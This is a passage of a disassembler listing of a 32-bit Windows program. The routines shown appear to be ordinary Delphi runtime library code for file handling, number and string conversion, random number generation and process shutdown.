		call	sub_401264
		mov	eax, esi
		call	sub_401F04
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_4016A4	endp

; ---------------------------------------------------------------------------
		align 4


loc_40170C:				; DATA XREF: sub_4017A8+Do
		jmp	ds:dword_4070BC
; ---------------------------------------------------------------------------
		align 4


loc_401714:				; DATA XREF: sub_4017C8+Do
		jmp	ds:dword_4070AC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40171C	proc near		; CODE XREF: sub_4017A8+14p
					; sub_4017C8+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_40178E
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_40175E
		call	sub_4010D4	; RtlGetLastWin32Error
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40175E:				; CODE XREF: sub_40171C+2Fj
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_40177A
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40177A:				; CODE XREF: sub_40171C+52j
		cmp	esi, [ebp+var_4]
		jz	short loc_40179D
		mov	eax, [ebp+arg_0]
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40178E:				; CODE XREF: sub_40171C+18j
		mov	eax, 67h
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_40179D:				; CODE XREF: sub_40171C+40j
					; sub_40171C+5Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017A8	proc near		; CODE XREF: sub_402CDC+A0p
					; sub_402CDC+10Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B1h
		push	offset loc_40170C
		push	64h
		call	sub_40171C
		pop	ebx
		pop	ebp
		retn	4
sub_4017A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017C8	proc near		; CODE XREF: CODE:0040430Dp
					; CODE:00404511p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_401714
		push	65h
		call	sub_40171C
		pop	ebx
		pop	ebp
		retn	4
sub_4017C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017E8	proc near		; CODE XREF: sub_402CDC+128p
					; CODE:0040431Cp ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_401827
		cmp	ax, 0D7B3h
		ja	short loc_401827
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_40180F
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_40180F:				; CODE XREF: sub_4017E8+1Ej
		test	esi, esi
		jnz	short loc_40181A
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_40181A:				; CODE XREF: sub_4017E8+29j
		test	esi, esi
		jz	short loc_401839
		mov	eax, esi
		call	sub_401248
		jmp	short loc_401839
; ---------------------------------------------------------------------------


loc_401827:				; CODE XREF: sub_4017E8+Ej
					; sub_4017E8+14j
		cmp	ebx, offset dword_406024
		jz	short loc_401839
		mov	eax, 67h
		call	sub_401248


loc_401839:				; CODE XREF: sub_4017E8+34j
					; sub_4017E8+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4017E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401840	proc near		; CODE XREF: sub_4030FC+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_401849
		mov	ecx, ebx


loc_401849:				; CODE XREF: sub_401840+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_401264
		pop	ebx
		retn
sub_401840	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40185C	proc near		; CODE XREF: sub_402CDC+64p
					; sub_402CDC+C0p
		push	ebx
		push	esi
		mov	ebx, eax
		or	esi, 0FFFFFFFFh
		mov	ax, [ebx+4]
		cmp	ax, 0D7B0h
		jbe	short loc_401896
		cmp	ax, 0D7B3h
		ja	short loc_401896
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_401084	; GetFileSize
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40188B
		call	sub_401258
		jmp	short loc_4018A0
; ---------------------------------------------------------------------------


loc_40188B:				; CODE XREF: sub_40185C+26j
		mov	eax, esi
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	esi, eax
		jmp	short loc_4018A0
; ---------------------------------------------------------------------------


loc_401896:				; CODE XREF: sub_40185C+Fj
					; sub_40185C+15j
		mov	eax, 67h
		call	sub_401248


loc_4018A0:				; CODE XREF: sub_40185C+2Dj
					; sub_40185C+38j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40185C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018A8	proc near		; CODE XREF: sub_4016A4+Fp
					; sub_40265C+F1p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_4018C5
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4018C5:				; CODE XREF: sub_4018A8+12j
		pop	edi
		retn
sub_4018A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018C8	proc near		; CODE XREF: CODE:00404209p
					; CODE:0040421Ep ...
		push	ebx
		xor	ebx, ebx
		imul	edx, ds:dword_405008[ebx], 8088405h
		inc	edx
		mov	ds:dword_405008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_4018C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4018E4	proc near		; DATA XREF: sub_40190C+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_4014C8
		test	al, al
		jnz	short loc_401905
		call	sub_401258
		mov	esi, 1


loc_401905:				; CODE XREF: sub_4018E4+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4018E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40190C	proc near		; CODE XREF: sub_4019EC+16p
					; sub_401A08+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_401938
		cmp	edx, 3
		ja	loc_4019CE
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_401938
		call	sub_401248


loc_401938:				; CODE XREF: sub_40190C+15j
					; sub_40190C+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_4018E4
		mov	dword ptr [ebx+1Ch], offset sub_401488
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_4019B5
		mov	eax, 0C0000000h
		mov	dl, ds:byte_40500C
		and	edx, 70h
		shr	edx, 2
		mov	edx, ds:dword_405068[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_401997
		mov	ecx, 3
		inc	edi
		jz	short loc_401997
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_401997
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_401997:				; CODE XREF: sub_40190C+68j
					; sub_40190C+70j ...
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [ebx+48h]
		push	eax
		call	sub_40106C	; CreateFileA


loc_4019AC:				; CODE XREF: sub_40190C+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4019D5
		mov	[ebx], eax
		jmp	short loc_4019E5
; ---------------------------------------------------------------------------


loc_4019B5:				; CODE XREF: sub_40190C+47j
		mov	dword ptr [ebx+24h], offset sub_401488
		cmp	edi, 3
		jz	short loc_4019C5
		push	0FFFFFFF6h
		jmp	short loc_4019C7
; ---------------------------------------------------------------------------


loc_4019C5:				; CODE XREF: sub_40190C+B3j
		push	0FFFFFFF5h


loc_4019C7:				; CODE XREF: sub_40190C+B7j
		call	sub_40108C	; GetStdHandle
		jmp	short loc_4019AC
; ---------------------------------------------------------------------------


loc_4019CE:				; CODE XREF: sub_40190C+1Aj
		mov	eax, 66h
		jmp	short loc_4019E0
; ---------------------------------------------------------------------------


loc_4019D5:				; CODE XREF: sub_40190C+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	sub_4010D4	; RtlGetLastWin32Error


loc_4019E0:				; CODE XREF: sub_40190C+C7j
		call	sub_401248


loc_4019E5:				; CODE XREF: sub_40190C+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40190C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4019EC	proc near		; CODE XREF: sub_402CDC+54p
		mov	cl, ds:byte_40500C
		and	cl, 3
		cmp	cl, 2
		jbe	short loc_4019FC
		mov	cl, 2


loc_4019FC:				; CODE XREF: sub_4019EC+Cj
		and	ecx, 0FFh
		call	sub_40190C
		retn
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A08	proc near		; CODE XREF: CODE:004042E4p
					; CODE:004044E8p
		mov	ecx, 3
		call	sub_40190C
		retn
sub_401A08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A14	proc near		; CODE XREF: sub_401A74+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_401A2B:				; CODE XREF: sub_401A14+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_401A2B
		test	esi, esi
		jge	short loc_401A43
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_401A43:				; CODE XREF: sub_401A14+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_401A57
		mov	ecx, 0FFh


loc_401A57:				; CODE XREF: sub_401A14+3Cj
		sub	ecx, ebx
		jle	short loc_401A62
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_401A62:				; CODE XREF: sub_401A14+45j
					; sub_401A14+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_401A62
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401A74	proc near		; CODE XREF: sub_4030FC+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_401A14
		retn
sub_401A74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A80	proc near		; CODE XREF: sub_403134+3p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_401AF6
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_401A93:				; CODE XREF: sub_401A80+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_401A93
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_401B04
		cmp	bl, 2Bh
		jz	short loc_401B06
		cmp	bl, 24h
		jz	short loc_401B0B
		cmp	bl, 78h
		jz	short loc_401B0B
		cmp	bl, 58h
		jz	short loc_401B0B
		cmp	bl, 30h
		jnz	short loc_401ACE
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_401B0B
		cmp	bl, 58h
		jz	short loc_401B0B
		test	bl, bl
		jz	short loc_401AEC
		jmp	short loc_401AD2
; ---------------------------------------------------------------------------


loc_401ACE:				; CODE XREF: sub_401A80+39j
					; sub_401A80+89j
		test	bl, bl
		jz	short loc_401AFF


loc_401AD2:				; CODE XREF: sub_401A80+4Cj
					; sub_401A80+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_401AFF
		cmp	eax, edi
		ja	short loc_401AFF
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401AD2


loc_401AEC:				; CODE XREF: sub_401A80+4Aj
		dec	ch
		jz	short loc_401AF9
		test	eax, eax
		jge	short loc_401B42
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401AF6:				; CODE XREF: sub_401A80+8j
					; sub_401A80+95j
		inc	esi
		jmp	short loc_401AFF
; ---------------------------------------------------------------------------


loc_401AF9:				; CODE XREF: sub_401A80+6Ej
		neg	eax
		jle	short loc_401B42
		js	short loc_401B42


loc_401AFF:				; CODE XREF: sub_401A80+50j
					; sub_401A80+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_401B45
; ---------------------------------------------------------------------------


loc_401B04:				; CODE XREF: sub_401A80+20j
		inc	ch


loc_401B06:				; CODE XREF: sub_401A80+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_401ACE
; ---------------------------------------------------------------------------


loc_401B0B:				; CODE XREF: sub_401A80+2Aj
					; sub_401A80+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_401AF6


loc_401B17:				; CODE XREF: sub_401A80+C0j
		cmp	bl, 61h
		jb	short loc_401B1F
		sub	bl, 20h


loc_401B1F:				; CODE XREF: sub_401A80+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_401B32
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_401AFF
		add	bl, 0Ah


loc_401B32:				; CODE XREF: sub_401A80+A5j
		cmp	eax, edi
		ja	short loc_401AFF
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401B17


loc_401B42:				; CODE XREF: sub_401A80+72j
					; sub_401A80+7Bj ...
		pop	ecx
		xor	esi, esi


loc_401B45:				; CODE XREF: sub_401A80+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401A80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B4C	proc near		; CODE XREF: sub_401B6C+Cp
		test	ecx, ecx
		jz	short locret_401B69
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_401B64
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_401B69
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_401B67
; ---------------------------------------------------------------------------


loc_401B64:				; CODE XREF: sub_401B4C+Aj
		add	ecx, 5


loc_401B67:				; CODE XREF: sub_401B4C+16j
		add	ecx, eax

locret_401B69:				; CODE XREF: sub_401B4C+2j
					; sub_401B4C+Fj
		retn
sub_401B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B6C	proc near		; CODE XREF: sub_402C0C-1053p
		cmp	ds:byte_405010,	1
		jbe	short locret_401B92
		push	eax
		push	edx
		push	ecx
		call	sub_401B4C
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_406008
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_401B92:				; CODE XREF: sub_401B6C+7j
		retn
sub_401B6C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402C0C


loc_401B94:				; CODE XREF: sub_4028CC:loc_402908j
					; sub_402A2C:loc_402A51j ...
		mov	eax, [esp-4+arg_0]
		mov	edx, [esp-4+arg_4]
		test	dword ptr [eax+4], 6
		jz	short loc_401BC4
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_401BC4
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_401B6C
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_401BC4:				; CODE XREF: sub_402C0C-1069j
					; DATA XREF: sub_402C0C-1064o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_402C0C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BCC	proc near		; CODE XREF: sub_401CDC:loc_401D2Ap
					; DATA XREF: DATA:off_405030o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_4063C4
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_401BFA
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_401BFA


loc_401BE6:				; CODE XREF: sub_401BCC+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_401BF6
		mov	ebp, eax
		call	ebp


loc_401BF6:				; CODE XREF: sub_401BCC+24j
		test	ebx, ebx
		jg	short loc_401BE6


loc_401BFA:				; CODE XREF: sub_401BCC+Ej
					; sub_401BCC+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401BCC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C00	proc near		; CODE XREF: sub_401C00+43p
					; sub_401C54+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_401C00
		cmp	eax, ds:off_40502C
		setz	bl
		cmp	edi, ebp
		jle	short loc_401C4F


loc_401C1C:				; CODE XREF: sub_401C00+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_4063D0, ebp
		test	eax, eax
		jz	short loc_401C2C
		call	eax


loc_401C2C:				; CODE XREF: sub_401C00+28j
		test	bl, bl
		jz	short loc_401C4B
		mov	eax, offset sub_401C00
		cmp	eax, ds:off_40502C
		jz	short loc_401C4B
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_40502C
		jmp	short loc_401C4F
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401C00+2Ej
					; sub_401C00+3Bj
		cmp	edi, ebp
		jg	short loc_401C1C


loc_401C4F:				; CODE XREF: sub_401C00+1Aj
					; sub_401C00+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C54	proc near		; CODE XREF: sub_401C70+35p
		mov	eax, ds:off_4063CC
		test	eax, eax
		jz	short locret_401C6C
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_40502C

locret_401C6C:				; CODE XREF: sub_401C54+7j
		retn
sub_401C54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C70	proc near		; CODE XREF: sub_4029E8+3Ap
		mov	ds:off_406008, offset sub_401094
		mov	ds:off_40600C, offset loc_4010A4
		mov	ds:off_4063CC, eax
		xor	eax, eax
		mov	ds:dword_4063D0, eax
		mov	ds:off_4063D4, edx
		mov	eax, [edx+4]
		mov	ds:dword_406014, eax
		mov	ds:byte_40601C,	0
		call	sub_401C54
		retn
sub_401C70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401CAC	proc near		; CODE XREF: sub_401CDC+96p
		xor	eax, eax
		xchg	eax, ds:dword_405000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_4063C4
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_401CAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401CDC	proc near		; CODE XREF: sub_401DAC+5p
					; CODE:0040481Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4063C4
		mov	esi, offset dword_405000
		mov	edi, offset dword_406020
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_401D0B
		cmp	dword ptr [edi], 0
		jz	short loc_401D0B


loc_401CFA:				; CODE XREF: sub_401CDC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_401CFA


loc_401D0B:				; CODE XREF: sub_401CDC+17j
					; sub_401CDC+1Cj
		cmp	ds:dword_405004, 0
		jz	short loc_401D1A
		call	ds:off_405088


loc_401D1A:				; CODE XREF: sub_401CDC+36j
					; sub_401CDC+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_401D2A
		cmp	dword ptr [esi], 0
		jnz	short loc_401D2A
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_401D2A:				; CODE XREF: sub_401CDC+42j
					; sub_401CDC+47j
		call	ds:off_405030
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_401D3B
		cmp	dword ptr [esi], 0
		jz	short loc_401D5D


loc_401D3B:				; CODE XREF: sub_401CDC+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_401D5D
		call	ds:off_405020
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_401D5D
		test	eax, eax
		jz	short loc_401D5D
		push	eax
		call	sub_40102C	; FreeLibrary


loc_401D5D:				; CODE XREF: sub_401CDC+5Dj
					; sub_401CDC+64j ...
		call	ds:off_405034
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_401D6C
		call	dword ptr [ebx+24h]


loc_401D6C:				; CODE XREF: sub_401CDC+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_401D77
		call	sub_401CAC


loc_401D77:				; CODE XREF: sub_401CDC+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_401D93
		cmp	ds:dword_406010, 0
		jz	short loc_401D8B
		call	ds:dword_406010


loc_401D8B:				; CODE XREF: sub_401CDC+A7j
		mov	eax, [esi]
		push	eax
		call	sub_4010CC	; ExitProcess


loc_401D93:				; CODE XREF: sub_401CDC+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_401D1A
sub_401CDC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401DAC	proc near		; CODE XREF: sub_4011C4+6p
					; sub_401DB8+6j
		mov	ds:dword_405000, eax
		call	sub_401CDC
sub_401DAC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401DB8	proc near		; CODE XREF: sub_402958+1Ap
					; sub_402958+2Fp
		pop	ds:dword_405004
		jmp	sub_401DAC
sub_401DB8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401DC4	proc near		; CODE XREF: sub_4013B0+Fp
					; sub_401EB0+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_401DE5
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401DE5
		dec	dword ptr [edx-8]
		jnz	short locret_401DE5
		push	eax
		lea	eax, [edx-8]
		call	sub_40115C
		pop	eax

locret_401DE5:				; CODE XREF: sub_401DC4+4j
					; sub_401DC4+10j ...
		retn
sub_401DC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401DE8	proc near		; CODE XREF: sub_402260+56p
					; sub_402C0C+90p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_401DEE:				; CODE XREF: sub_401DE8+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_401E0D
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_401E0D
		dec	dword ptr [edx-8]
		jnz	short loc_401E0D
		lea	eax, [edx-8]
		call	sub_40115C


loc_401E0D:				; CODE XREF: sub_401DE8+Aj
					; sub_401DE8+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_401DEE
		pop	esi
		pop	ebx
		retn
sub_401DE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E18	proc near		; CODE XREF: sub_401F0C+8j
					; sub_401F50+6j ...
		test	edx, edx
		jz	short loc_401E3F
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_401E3C
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_401E84
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_401264
		pop	edx
		pop	eax
		jmp	short loc_401E3F
; ---------------------------------------------------------------------------


loc_401E3C:				; CODE XREF: sub_401E18+8j
		inc	dword ptr [edx-8]


loc_401E3F:				; CODE XREF: sub_401E18+2j
					; sub_401E18+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_401E58
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401E58
		dec	dword ptr [edx-8]
		jnz	short locret_401E58
		lea	eax, [edx-8]
		call	sub_40115C

locret_401E58:				; CODE XREF: sub_401E18+2Bj
					; sub_401E18+31j ...
		retn
sub_401E18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E5C	proc near		; CODE XREF: sub_403168+30p
		test	edx, edx
		jz	short loc_401E69
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_401E69
		inc	dword ptr [edx-8]


loc_401E69:				; CODE XREF: sub_401E5C+2j
					; sub_401E5C+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_401E82
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401E82
		dec	dword ptr [edx-8]
		jnz	short locret_401E82
		lea	eax, [edx-8]
		call	sub_40115C

locret_401E82:				; CODE XREF: sub_401E5C+11j
					; sub_401E5C+17j ...
		retn
sub_401E5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401E84	proc near		; CODE XREF: sub_401E18+Fp
					; sub_401EB0+Bp ...
		test	eax, eax
		jle	short loc_401EAC
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_401144
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_401EAC:				; CODE XREF: sub_401E84+2j
		xor	eax, eax
		retn
sub_401E84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EB0	proc near		; CODE XREF: sub_4013B0+2Fp
					; sub_401EE0+5j ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_401E84
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_401ED1
		mov	edx, eax
		mov	eax, esi
		call	sub_401264


loc_401ED1:				; CODE XREF: sub_401EB0+16j
		mov	eax, ebx
		call	sub_401DC4
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EE0	proc near		; CODE XREF: sub_4030FC+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_401EB0
sub_401EE0	endp

